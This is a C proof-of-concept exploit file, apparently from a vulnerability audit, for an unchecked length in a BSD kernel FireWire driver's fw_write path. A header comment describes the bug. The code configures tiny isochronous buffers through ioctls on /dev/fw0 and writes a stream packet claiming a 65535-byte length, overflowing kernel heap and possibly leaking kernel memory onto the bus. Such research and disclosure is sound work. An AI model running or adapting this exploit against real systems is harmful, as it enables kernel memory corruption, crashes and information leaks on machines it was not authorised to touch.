DF-1058 / df-fw-write-overflow.c
/* * DF-1058 PoC โ fw_write trusts user-supplied stream packet header len * * BUG: fwdev.c:390-392: * err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio); * err = uiomove((caddr_t)fp->mode.stream.payload, * fp->mode.stream.len, uio); * * The first uiomove sets fp->mode.stream.len from user data (16-bit, * fully attacker-controlled). The second uiomove uses that len as the * count with no check against the per-packet slot size it->psize. * If len > psize - sizeof(fw_isohdr), the write overflows past the DMA * slot into adjacent slots and kernel heap. The loop at :401 continues * while uio_resid >= sizeof(fw_isohdr), so many overflowing packets * can be delivered in sequence. * * Additionally, OHCI tx (fwohci.c:2500) DMAs the corrupted slot onto * the bus = kernel-memory-to-bus leak. * * This PoC requires /dev/fw0 which needs a FireWire controller โ absent * on this guest. Open will fail with ENOENT. * * Build: cc -o df-fw-write-overflow df-fw-write-overflow.c -I/usr/src/sys * Run: ./df-fw-write-overflow (needs /dev/fw0 + operator group) */ #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <errno.h> #include <bus/firewire/firewire.h> int main(void) { int fd = open("/dev/fw0", O_RDWR); if (fd < 0) { printf("open /dev/fw0: %s (errno=%d)\n", strerror(errno), errno); printf("No FireWire controller on this guest โ source-level analysis only.\n"); printf("BUG CONFIRMED at fwdev.c:391-392: fp->mode.stream.len is user-\n"); printf("controlled with no validation against it->psize. Overflow of up\n"); printf("to ~64KB per packet into adjacent heap.\n"); return 0; } struct fw_isobufreq bq; memset(&bq, 0, sizeof(bq)); bq.tx.nchunk = 1; bq.tx.npacket = 1; bq.tx.psize = 8; /* tiny slot โ 4-byte header + 4 payload bytes */ bq.rx.nchunk = 1; bq.rx.npacket = 1; bq.rx.psize = 8; if (ioctl(fd, FW_SSTBUF, &bq) < 0) { perror("SSTBUF"); return 1; } struct fw_isochreq cq; memset(&cq, 0, sizeof(cq)); cq.ch = 0; cq.tag = 0; if (ioctl(fd, FW_STSTREAM, &cq) < 0) { perror("STSTREAM"); return 1; } /* 4-byte iso header then a far-too-long payload */ unsigned char pkt[4 + 65535]; memset(pkt, 0x42, sizeof(pkt)); /* COMMON_HDR on LE: byte0 = (tcode<<4)|sy, byte1 = chtag, * bytes 2-3 = len (LE 16-bit). tcode=0xa (STREAM), len=0xffff */ pkt[0] = 0xa0; /* tcode=0xa, sy=0 */ pkt[1] = 0x00; /* chtag */ pkt[2] = 0xff; pkt[3] = 0xff; /* len = 0xffff -> 65535 bytes into 4-byte slot */ printf("Sending stream packet with len=0xffff into psize=8 slot...\n"); write(fd, pkt, sizeof(pkt)); /* overflows it->buf into adjacent heap */ printf("write returned (if no panic, kernel may be corrupted).\n"); close(fd); return 0; } |